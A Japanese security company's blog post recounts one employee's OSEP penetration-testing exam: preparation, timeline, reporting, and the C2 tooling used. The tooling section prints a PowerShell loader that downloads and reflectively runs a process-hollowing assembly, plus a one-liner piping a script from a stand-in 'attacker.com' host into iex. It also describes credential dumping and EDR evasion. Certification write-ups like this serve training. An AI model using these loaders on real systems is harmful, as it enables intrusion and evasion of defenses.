本サイトは、快適にご利用いただくためにクッキー(Cookie)を使用しております。
Cookieの使用に同意いただける場合は「同意する」ボタンを押してください。
なお本サイトのCookie使用については、「個人情報保護方針」をご覧ください。
はじめに
こんにちは、岩崎利己と申します。
普段はWebアプリケーション脆弱性診断を行っております。
このブログでは私が受験した、OffSec社が提供する「OffSec Experienced Penetration Tester」 (以下OSEP)の受験記をお送りします。
MBSDではこのブログの他にもたくさんの方が自己研鑽のために資格取得に取り組んでいます。過去に公開された受験記もいろいろありますので興味がある方は是非ご覧いただければと思います。
SANSトレーニング「SEC575」 および GIAC「GMOB」受験記 | 技術者ブログ | 三井物産セキュアディレクション株式会社
Offensive Security Exploit Developer (OSED) 受験記 | 技術者ブログ | 三井物産セキュアディレクション株式会社
Offensive Security Web Expert (OSWE) 受験記 | 技術者ブログ | 三井物産セキュアディレクション株式会社
Certified Red Team Professional受験記 | 技術者ブログ | 三井物産セキュアディレクション株式会社
OffSec Defense Analyst (OSDA) 受験記 | 技術者ブログ | 三井物産セキュアディレクション株式会社
また、MBSDではこれらの資格取得費用を全額会社が負担しています。「自己研鑽のために資格受験を考えているけどセキュリティ系の資格は費用がネック」という方は是非弊社へ…。
リファラル採用制度もあり、書類選考が免除されますのでお近くにMBSD社員がいる場合はお声がけください!
MBSD_リファラル(社員紹介専用) | 三井物産セキュアディレクション株式会社
OSEPについて
OSEP (OffSec Experienced Penetration Tester) は、Offensive Security社が提供する中〜上級レベルのペネトレーションテスト認定資格です。
対応するトレーニングコースはPEN-300 (Advanced Evasion Techniques and Breaching Defenses) です。
この資格は、実際の企業環境を模したActive Directory (AD) ネットワークに対する侵入テストのスキルを証明するもので、実際に手を動かして侵入する実技試験が特徴です。
OSEPを語る上で避けて通れないのが、下位資格であるOSCP (OffSec Certified Professional) との比較です。
| 項目 | OSCP | OSEP |
|---|---|---|
| 対象レベル | 初級〜中級 | 中級〜上級 |
| 主な対象環境 | 独立した複数のマシン | 企業ネットワーク全体 (AD環境) |
| 重点領域 | 基本的な侵入手法、権限昇格 | 検知回避、横展開、AD攻撃 |
| 試験時間 | 23時間45分 + レポート24時間 | 47時間45分 + レポート24時間 |
| 必須スキル | Linux/Windows基礎、基本的なエクスプロイト | Windowsの理解、AD、プログラミング(特にC#) |
| 防御機構 | 基本的なセキュリティ設定 | Defender、AppLocker等の回避が必須 |
大きな相違点として、OSCPでは既知の脆弱性を利用して初期侵入、権限昇格を行っていきますが、OSEPの環境ではすべてのホストに対して最新のパッチが当てられているようで既知脆弱性による侵害は想定されていません。
受験前のスキルレベル
筆者の受験前のレベルは以下です。
- Webアプリケーション脆弱性診断の経験3年
- 保有資格
- OSCP
- OSWE
- OSDA
- CRTP
私はペネトレーションテストの実務経験がほぼありませんが、経験がある方は方法論や攻撃の仕組みが身についていると思いますので試験に有利でしょう。 ただ、合格者のレビューを見ていると学生の方からSoC領域の方など、様々な方がいらっしゃったので実務経験がなくともしっかり学習を行えば事前知識が少なくても合格できる資格ではあると思います。
学習方法
基本的にはコースモジュールを進めていくだけでOKです。
しかし、モジュールのテキストは非常に文量が多く、読むのも一苦労です。 自身が得意、既知であるモジュールは読み飛ばして不得意なモジュールを優先して学習するのもおすすめです。
モジュール内で説明されるプログラムを実装する際に、一部のコードしか提供されない場合もありますが、自身ですべて実装し、対象環境で正常に動作するかを確かめておくのがマストです。
途中、Extra Mileという課題が与えられます。この課題はできるだけすべてクリアしておくと良いでしょう。
試験
毎度のことですがOffSecが公開している試験ガイドを穴が開くほど読んでおきましょう。
また、試験開始時にコントロールパネルに環境の説明が表示されるのでしっかり読んだほうがいいです。 テストの目的や目的を達成するための情報が記載されています。
私は日本時間の10:00から試験を開始しました。 試験の30分前から試験環境にログインし、部屋の撮影、IDの提示を済ませ、試験開始時刻に送付されるメールから環境にアクセスします。
試験は以下のタイムラインで進行しました。
| 日程 | 時刻 | 状況 |
|---|---|---|
| 1日目 | 09:45 | プロクタリングソフトへログイン、部屋の撮影とIDの提示 |
| 1日目 | 10:00 | VPN接続、試験環境へログイン |
| 1日目 | 16:05 | 合格点到達 |
| 1日目 | 16:58 | secret.txt取得、作業中断 |
| 2日目 | 10:00 | 作業再開 |
| 2日目 | 12:11 | ハッシュを15個取得したのでレポート作業開始 |
| 2日目 | 15:23 | 試験終了、レポート提出 |
試験はモジュールをしっかり学習していれば問題ない難易度でした。
レポート作成
レポートはObsidian+Pandocプラグイン+いつもお世話になっているテンプレートを用いて書きました。
出来上がったレポートは44ページになりました。といっても作成したツールのコードやスクリーンショットが大部分を占めるので実際の文字の記述はそこまで多くないです。
レポートの提出から1日程度で合格通知のメールが届きました。

使用したツール・技術
OSEPはOSCPとは異なり、オープンソースのC2フレームワークの使用が許可されています。(商用ツールはNG)
そのため今回はAdaptixC2をメインのC2サーバとして使用しました。
以下のような候補もありましたが、記載の理由からAdaptixC2を選択しました。
- Metasploit(使ったことあるので面白くない)
- Sliver(みんな使ってるので面白くない)
- Empire(Interactive Shellの機能がないので面倒くさい)
AdaptixC2について
AdaptixC2はGolangで書かれたGUI(Qt6)のC2フレームワークです。
もちろんC2として基本的な機能は備えており、Extension-Kitをインストールすることで広範な機能をBOFで利用することができます。
役に立ったExtension-Kitは以下です。
- AD-BOF(AD環境の列挙や、DCSyncの実行)
- LDAP-BOF(AD環境の列挙)
- Kerbeus-BOF(Rubeus互換のコマンド)
- SQL-BOF(MSSQLの列挙、攻撃)
- Creds-BOF(クレデンシャルダンプ)
- Elevation-BOF(SeImpersonationPrivilegeの悪用)
- Execution-BOF(アンマネージドバイナリや.NET Assemblyのインメモリ実行)
- Injection-BOF(donutと組み合わせたShellCodeの実行)
AdaptixC2のC2セッションを確立する手順は以下の流れで行っていきました。
- AdaptixC2のAgentを実行するShellCodeを生成
- 事前に作成したエンコーダでShellCodeをエンコード
- Process Hollowingを使用してShellCodeを注入したプロセスを生成、ShellCode実行
確立したセッション

ShellCodeローダ
Process Hollowingを実行するのはC#で作成した.NETアセンブリです。 ただ、通常通り実行しようとするとこのファイルを対象端末に配置しなければならずファイルレスとはなりません。
そのため、PowerShellから.NETアセンブリを読み込み任意のメソッドを実行する手法を取りました。
Mainメソッド呼び出し時にstring[]型の引数配列を渡すことで、コールバックサーバのIPアドレスやポートを動的に指定でき、これにより環境ごとにビルドし直す手間が省けました。
$b = (New-Object System.Net.WebClient).DownloadData("http://$IP/$PATH")
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@($IP, $SHELLCODE)
[ProcessHollowing.Program]::Main($parameters)
あとは対象端末で以下のようなPowerShellスクリプトが実行できればC2セッションが確立できるので、試験においてリソースを割かれることがなく、助かりました。
iwr -useb http://attacker.com/load-net.txt|iex
donutとの併用
AdaptixC2にはnoconsolationというモジュールがあり、Agentのメモリにアンマネージドバイナリを展開して実行することができます。
ligolo-ngなどをこの機能を利用して実行しようとしたのですが、どうも安定せずAgentのプロセス内でligolo-ngが落ちることでAgentも道連れになることが多々ありました。
したがってInjection-BOFモジュールによって、donutを使用してShellCode化したアンマネージドバイナリを実行することで、安定した内部ネットワークへのトンネルが構築できました。
Agent以外のプロセスにShellCodeを注入するため、少なくともAgentが道連れになることは防ぐことができます。
所感
PEN-300のモジュールは非常に体系的に設計されていて、原理からAD攻撃の実践まで段階的に学べる点が良いです。 特にChallenge Labsは15-20台規模の複雑なネットワーク環境を模しており、複数の攻撃パスから侵害する力が必要でした。
しかし、環境にEDRが導入されていない点は2026年現在の環境とのギャップとして無視できません。 Windows DefenderとAppLockerのみの環境では、ファイルレス攻撃(execute-assembly等のBOF)を使えば検知をほぼ回避できてしまいますし、実際の企業環境ではCrowdStrikeやSentinelOneといったEDRが導入されており、OSEPで通用したテクニックが実務ではほぼ間違いなく検知されると思います。
また、AdaptixC2やSliver、Havocといった成熟したOSS C2フレームワークが登場した現在では、試験の技術的難易度は下がっているのではないかと、個人的には考えております。 BOFを活用すれば、必要な機能の8割は既に実装済みで、自作の必要性がありません。 これはツールの使い方を知っていれば攻撃の原理がわかっていなくても攻撃が成功してしまう可能性を意味します。 ただし、OSEPを学ぶ意味が無くなったかというとそういう訳ではないと思います。(試験に限って言えば自身でC2を縛ってしまえばいいだけですしね。) C2が便利になっても、原理理解がなければ応用やトラブルシュートができず、ペネトレーションテスターとして役に立ちません。 OSEPは通過点として最適な資格であり、取得後に実務からも学び続けることが最も重要であると思います。
おすすめ記事